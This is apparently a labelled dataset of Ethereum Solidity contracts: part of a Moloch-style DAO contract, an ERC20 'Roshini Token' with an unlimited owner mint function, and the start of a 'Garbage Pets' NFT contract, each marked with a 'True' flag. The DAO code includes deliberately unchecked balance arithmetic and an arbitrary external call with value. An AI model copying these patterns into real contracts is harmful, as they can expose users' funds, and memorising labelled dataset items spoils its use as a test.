unsafeInternalTransfer(ESCROW, proposal.proposer, proposal.tributeToken, proposal.tributeOffered);
}
_returnDeposit(proposal.sponsor);
emit ProcessProposal(proposalIndex, proposalId, didPass);
}
function processActionProposal(uint256 proposalIndex) external nonReentrant returns (bool, bytes memory) {
_validateProposalForProcessing(proposalIndex);
uint256 proposalId = proposalQueue[proposalIndex];
bytes storage action = actions[proposalId];
Proposal storage proposal = proposals[proposalId];
require(proposal.flags[6] == 1, "!action");
proposal.flags[1] = 1; // processed
bool didPass = _didPass(proposalIndex);
// Make the proposal fail if it is requesting more stake token than the available local balance
if (proposal.paymentToken == stakeToken && proposal.paymentRequested > IERC20(stakeToken).balanceOf(address(this))) {
didPass = false;
}
// Make the proposal fail if it is requesting more tokens than the available guild bank balance
if (tokenWhitelist[proposal.paymentToken] && proposal.paymentRequested > userTokenBalances[GUILD][proposal.paymentToken]) {
didPass = false;
}
// Make the proposal fail if it is requesting more ether than the available local balance
if (proposal.tributeOffered > address(this).balance) {
didPass = false;
}
if (didPass) {
proposal.flags[2] = 1; // didPass
(bool success, bytes memory returnData) = proposal.applicant.call.value(proposal.tributeOffered)(action);
if (tokenWhitelist[proposal.paymentToken]) {
unsafeSubtractFromBalance(GUILD, proposal.paymentToken, proposal.paymentRequested);
// if the action proposal spends 100% of guild bank balance for a token, decrement total guild bank tokens
if (userTokenBalances[GUILD][proposal.paymentToken] == 0 && proposal.paymentRequested > 0) {totalGuildBankTokens -= 1;}
}
return (success, returnData);
}
emit ProcessActionProposal(proposalIndex, proposalId, didPass);
}
function processWhitelistProposal(uint256 proposalIndex) external {
_validateProposalForProcessing(proposalIndex);
uint256 proposalId = proposalQueue[proposalIndex];
Proposal storage proposal = proposals[proposalId];
require(proposal.flags[4] == 1, "!whitelist");
proposal.flags[1] = 1; // processed
bool didPass = _didPass(proposalIndex);
if (approvedTokens.length >= MAX_TOKEN_WHITELIST_COUNT) {
didPass = false;
}
if (didPass) {
proposal.flags[2] = 1; // didPass
tokenWhitelist[address(proposal.tributeToken)] = true;
approvedTokens.push(proposal.tributeToken);
}
proposedToWhitelist[address(proposal.tributeToken)] = false;
_returnDeposit(proposal.sponsor);
emit ProcessWhitelistProposal(proposalIndex, proposalId, didPass);
}
function processGuildKickProposal(uint256 proposalIndex) external nonReentrant {
_validateProposalForProcessing(proposalIndex);
uint256 proposalId = proposalQueue[proposalIndex];
Proposal storage proposal = proposals[proposalId];
require(proposal.flags[5] == 1, "!kick");
proposal.flags[1] = 1; // processed
bool didPass = _didPass(proposalIndex);
if (didPass) {
proposal.flags[2] = 1; // didPass
Member storage member = members[proposal.applicant];
member.jailed = proposalIndex;
// transfer shares to loot
member.loot = member.loot.add(member.shares);
totalShares = totalShares.sub(member.shares);
totalLoot = totalLoot.add(member.shares);
member.shares = 0; // revoke all shares
}
proposedToKick[proposal.applicant] = false;
_returnDeposit(proposal.sponsor);
emit ProcessGuildKickProposal(proposalIndex, proposalId, didPass);
}
function _didPass(uint256 proposalIndex) internal view returns (bool didPass) {
Proposal memory proposal = proposals[proposalQueue[proposalIndex]];
if (proposal.yesVotes > proposal.noVotes) {
didPass = true;
}
// Make the proposal fail if the dilutionBound is exceeded
if ((totalSupply().mul(dilutionBound)) < proposal.maxTotalSharesAndLootAtYesVote) {
didPass = false;
}
// Make the proposal fail if the applicant is jailed
// - for standard proposals, we don't want the applicant to get any shares/loot/payment
// - for guild kick proposals, we should never be able to propose to kick a jailed member (or have two kick proposals active), so it doesn't matter
if (members[proposal.applicant].jailed != 0) {
didPass = false;
}
return didPass;
}
function _validateProposalForProcessing(uint256 proposalIndex) internal view {
require(proposalIndex < proposalQueue.length, "!proposal");
Proposal memory proposal = proposals[proposalQueue[proposalIndex]];
require(getCurrentPeriod() >= proposal.startingPeriod.add(votingPeriodLength).add(gracePeriodLength), "!ready");
require(proposal.flags[1] == 0, "processed");
require(proposalIndex == 0 || proposals[proposalQueue[proposalIndex - 1]].flags[1] == 1, "prior !processed");
}
function _returnDeposit(address sponsor) internal {
unsafeInternalTransfer(ESCROW, msg.sender, depositToken, processingReward);
unsafeInternalTransfer(ESCROW, sponsor, depositToken, proposalDeposit - processingReward);
}
function ragequit(uint256 sharesToBurn, uint256 lootToBurn) external nonReentrant {
require(members[msg.sender].exists == 1, "!member");
_ragequit(msg.sender, sharesToBurn, lootToBurn);
}
function _ragequit(address memberAddress, uint256 sharesToBurn, uint256 lootToBurn) internal {
uint256 initialTotalSharesAndLoot = totalSupply();
Member storage member = members[memberAddress];
require(member.shares >= sharesToBurn, "!shares");
require(member.loot >= lootToBurn, "!loot");
require(canRagequit(member.highestIndexYesVote), "!ragequit until highest index proposal member voted YES processes");
uint256 sharesAndLootToBurn = sharesToBurn.add(lootToBurn);
// burn guild token, shares & loot
burnGuildToken(memberAddress, sharesAndLootToBurn);
member.shares = member.shares.sub(sharesToBurn);
member.loot = member.loot.sub(lootToBurn);
totalShares = totalShares.sub(sharesToBurn);
totalLoot = totalLoot.sub(lootToBurn);
for (uint256 i = 0; i < approvedTokens.length; i++) {
uint256 amountToRagequit = fairShare(userTokenBalances[GUILD][approvedTokens[i]], sharesAndLootToBurn, initialTotalSharesAndLoot);
if (amountToRagequit > 0) { // gas optimization to allow a higher maximum token limit
// deliberately not using safemath here to keep overflows from preventing the function execution (which would break ragekicks)
// if a token overflows, it is because the supply was artificially inflated to oblivion, so we probably don't care about it anyways
userTokenBalances[GUILD][approvedTokens[i]] -= amountToRagequit;
userTokenBalances[memberAddress][approvedTokens[i]] += amountToRagequit;
}
}
emit Ragequit(memberAddress, sharesToBurn, lootToBurn);
}
function ragekick(address memberToKick) external nonReentrant onlyDelegate {
Member storage member = members[memberToKick];
require(member.jailed != 0, "!jailed");
require(member.loot > 0, "!loot"); // note - should be impossible for jailed member to have shares
require(canRagequit(member.highestIndexYesVote), "!ragequit until highest index proposal member voted YES processes");
_ragequit(memberToKick, 0, member.loot);
}
function withdrawBalance(address token, uint256 amount) external nonReentrant {
_withdrawBalance(token, amount);
}
function withdrawBalances(address[] calldata tokens, uint256[] calldata amounts, bool max) external nonReentrant {
require(tokens.length == amounts.length, "tokens != amounts");
for (uint256 i=0; i < tokens.length; i++) {
uint256 withdrawAmount = amounts[i];
if (max) { // withdraw the maximum balance
withdrawAmount = userTokenBalances[msg.sender][tokens[i]];
}
_withdrawBalance(tokens[i], withdrawAmount);
}
}
function _withdrawBalance(address token, uint256 amount) internal {
require(userTokenBalances[msg.sender][token] >= amount, "!balance");
IERC20(token).safeTransfer(msg.sender, amount);
unsafeSubtractFromBalance(msg.sender, token, amount);
emit Withdraw(msg.sender, token, amount);
}
function collectTokens(address token) external nonReentrant onlyDelegate {
uint256 amountToCollect = IERC20(token).balanceOf(address(this)).sub(userTokenBalances[TOTAL][token]);
// only collect if 1) there are tokens to collect & 2) token is whitelisted
require(amountToCollect > 0, "!amount");
require(tokenWhitelist[token], "!whitelisted");
if (userTokenBalances[GUILD][token] == 0 && totalGuildBankTokens < MAX_TOKEN_GUILDBANK_COUNT) {totalGuildBankTokens += 1;}
unsafeAddToBalance(GUILD, token, amountToCollect);
emit TokensCollected(token, amountToCollect);
}
// NOTE: requires that delegate key which sent the original proposal cancels, msg.sender == proposal.proposer
function cancelProposal(uint256 proposalId) external nonReentrant {
Proposal storage proposal = proposals[proposalId];
require(proposal.flags[0] == 0, "sponsored");
require(proposal.flags[3] == 0, "cancelled");
require(msg.sender == proposal.proposer, "!proposer");
proposal.flags[3] = 1; // cancelled
unsafeInternalTransfer(ESCROW, proposal.proposer, proposal.tributeToken, proposal.tributeOffered);
emit CancelProposal(proposalId, msg.sender);
}
function updateDelegateKey(address newDelegateKey) external {
require(members[msg.sender].shares > 0, "caller !shareholder");
require(newDelegateKey != address(0), "newDelegateKey == 0");
// skip checks if member is setting the delegate key to their member address
if (newDelegateKey != msg.sender) {
require(members[newDelegateKey].exists == 0, "!overwrite members");
require(members[memberAddressByDelegateKey[newDelegateKey]].exists == 0, "!overwrite keys");
}
Member storage member = members[msg.sender];
memberAddressByDelegateKey[member.delegateKey] = address(0);
memberAddressByDelegateKey[newDelegateKey] = msg.sender;
member.delegateKey = newDelegateKey;
emit UpdateDelegateKey(msg.sender, newDelegateKey);
}
// can only ragequit if the latest proposal you voted YES on has been processed
function canRagequit(uint256 highestIndexYesVote) public view returns (bool) {
require(highestIndexYesVote < proposalQueue.length, "!proposal");
return proposals[proposalQueue[highestIndexYesVote]].flags[1] == 1;
}
function hasVotingPeriodExpired(uint256 startingPeriod) public view returns (bool) {
return getCurrentPeriod() >= startingPeriod.add(votingPeriodLength);
}
/***************
GETTER FUNCTIONS
***************/
function max(uint256 x, uint256 y) internal pure returns (uint256) {
return x >= y ? x : y;
}
function getCurrentPeriod() public view returns (uint256) {
return now.sub(summoningTime).div(periodDuration);
}
function getMemberProposalVote(address memberAddress, uint256 proposalIndex) external view returns (Vote) {
require(members[memberAddress].exists == 1, "!member");
require(proposalIndex < proposalQueue.length, "!proposed");
return proposals[proposalQueue[proposalIndex]].votesByMember[memberAddress];
}
function getProposalFlags(uint256 proposalId) external view returns (uint8[7] memory) {
return proposals[proposalId].flags;
}
function getProposalQueueLength() external view returns (uint256) {
return proposalQueue.length;
}
function getTokenCount() external view returns (uint256) {
return approvedTokens.length;
}
function getUserTokenBalance(address user, address token) external view returns (uint256) {
return userTokenBalances[user][token];
}
/***************
HELPER FUNCTIONS
***************/
function() external payable {}
function fairShare(uint256 balance, uint256 shares, uint256 totalSharesAndLoot) internal pure returns (uint256) {
require(totalSharesAndLoot != 0);
if (balance == 0) { return 0; }
uint256 prod = balance * shares;
if (prod / balance == shares) { // no overflow in multiplication above?
return prod / totalSharesAndLoot;
}
return (balance / totalSharesAndLoot) * shares;
}
function registerMember(address newMember, uint256 shares) internal {
// if new member is already taken by a member's delegateKey, reset it to their member address
if (members[memberAddressByDelegateKey[newMember]].exists == 1) {
address memberToOverride = memberAddressByDelegateKey[newMember];
memberAddressByDelegateKey[memberToOverride] = memberToOverride;
members[memberToOverride].delegateKey = memberToOverride;
}
members[newMember] = Member({
delegateKey : newMember,
exists : 1, // 'true'
shares : shares,
loot : 0,
highestIndexYesVote : 0,
jailed : 0
});
memberAddressByDelegateKey[newMember] = newMember;
}
function unsafeAddToBalance(address user, address token, uint256 amount) internal {
userTokenBalances[user][token] += amount;
userTokenBalances[TOTAL][token] += amount;
}
function unsafeInternalTransfer(address from, address to, address token, uint256 amount) internal {
unsafeSubtractFromBalance(from, token, amount);
unsafeAddToBalance(to, token, amount);
}
function unsafeSubtractFromBalance(address user, address token, uint256 amount) internal {
userTokenBalances[user][token] -= amount;
userTokenBalances[TOTAL][token] -= amount;
}
/********************
GUILD TOKEN FUNCTIONS
********************/
function allowance(address owner, address spender) external view returns (uint256) { // tracks guild token (loot) allowances
return allowances[owner][spender];
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
function totalSupply() public view returns (uint256) {
return totalShares.add(totalLoot);
}
// BALANCE MGMT FUNCTIONS
function approve(address spender, uint256 amount) external returns (bool) {
require(amount == 0 || allowances[msg.sender][spender] == 0);
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function burnGuildToken(address memberAddress, uint256 amount) internal {
balances[memberAddress] = balances[memberAddress].sub(amount);
emit Transfer(memberAddress, address(0), amount);
}
function claimShares(uint256 amount) external nonReentrant {
IERC20(stakeToken).safeTransferFrom(msg.sender, address(this), amount); // deposit stake token & claim shares (1:1)
// if the sender is already a member, add to their existing shares
if (members[msg.sender].exists == 1) {
members[msg.sender].shares = members[msg.sender].shares.add(amount);
// if the sender is a new member, create a new record for them
} else {
registerMember(msg.sender, amount);
}
// mint new guild token & shares
mintGuildToken(msg.sender, amount);
totalShares = totalShares.add(amount);
require(totalShares <= MAX_GUILD_BOUND, "guild maxed");
}
function convertSharesToLoot(uint256 sharesToLoot) external nonReentrant {
members[msg.sender].shares = members[msg.sender].shares.sub(sharesToLoot);
members[msg.sender].loot = members[msg.sender].loot.add(sharesToLoot);
totalShares = totalShares.sub(sharesToLoot);
totalLoot = totalLoot.add(sharesToLoot);
}
function mintGuildToken(address memberAddress, uint256 amount) internal {
balances[memberAddress] = balances[memberAddress].add(amount);
emit Transfer(address(0), memberAddress, amount);
}
// LOOT TRANSFER FUNCTIONS
function transfer(address receiver, uint256 lootToTransfer) external returns (bool) {
members[msg.sender].loot = members[msg.sender].loot.sub(lootToTransfer);
members[receiver].loot = members[receiver].loot.add(lootToTransfer);
balances[msg.sender] = balances[msg.sender].sub(lootToTransfer);
balances[receiver] = balances[receiver].add(lootToTransfer);
emit Transfer(msg.sender, receiver, lootToTransfer);
return true;
}
function transferFrom(address sender, address receiver, uint256 lootToTransfer) external returns (bool) {
allowances[sender][msg.sender] = allowances[sender][msg.sender].sub(lootToTransfer);
members[sender].loot = members[sender].loot.sub(lootToTransfer);
members[receiver].loot = members[receiver].loot.add(lootToTransfer);
balances[sender] = balances[sender].sub(lootToTransfer);
balances[receiver] = balances[receiver].add(lootToTransfer);
emit Transfer(sender, receiver, lootToTransfer);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract RoshiniToken is ERC20, Ownable {
// index 0 = IDO Public Sale - 10%
// index 1 = Private Sale - 5%
// index 2 = Foundation - 30%
// index 3 = Product & Marketing - 20%
// index 4 = Partnership & Ecosystem - 20%
// index 5 = RSHNI Airdrop - 11%
// index 6 = RSHNI Mining - 4%
constructor(address _owner,uint256 _initialSupply, address[] memory distributions , uint8[] memory percentage) ERC20("Roshini Token", "RSHNI") {
require(distributions.length == percentage.length,"ERC20: pass distributions and percentage same langth");
transferOwnership(_owner);
for(uint8 i=0;i<percentage.length;i++){
_mint(distributions[i], (_initialSupply * 10**decimals()*percentage[i]/100));
}
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
// SPDX-License-Identifier: MIT
// https://garbagepets.io/
//
// GARBAGE PETS Contract and Dapp CREATED By TwentyTwo2 (22) developer
// https://t.me/twentytwo2
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
